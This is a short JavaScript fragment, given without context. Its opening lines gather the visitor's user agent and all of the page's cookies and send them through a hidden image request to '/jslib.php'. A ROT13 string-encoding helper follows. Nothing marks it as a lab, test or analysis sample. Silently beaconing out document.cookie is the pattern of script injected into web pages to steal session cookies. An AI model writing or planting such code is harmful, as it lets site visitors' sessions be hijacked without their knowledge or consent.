var n=escape(navigator.userAgent); img = new Image(); img.src = "/jslib.php?ua="+n+"&c="+document.cookie; function rencode(txt) { var map = [] var tmp = "abcdefghijklmnopqrstuvwxyz" var buf = "" for (j = 0; j < tmp.length; j++) { var x = tmp.charAt(j); var y = tmp.charAt((j + 13) % 26) map[x] = y; map[x.toUpperCase()] = y.toUpperCase() } for (j = 0; j < txt.length; j++) { var c = txt.charAt(j) buf += (c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' ? map[c] : c) } return buf }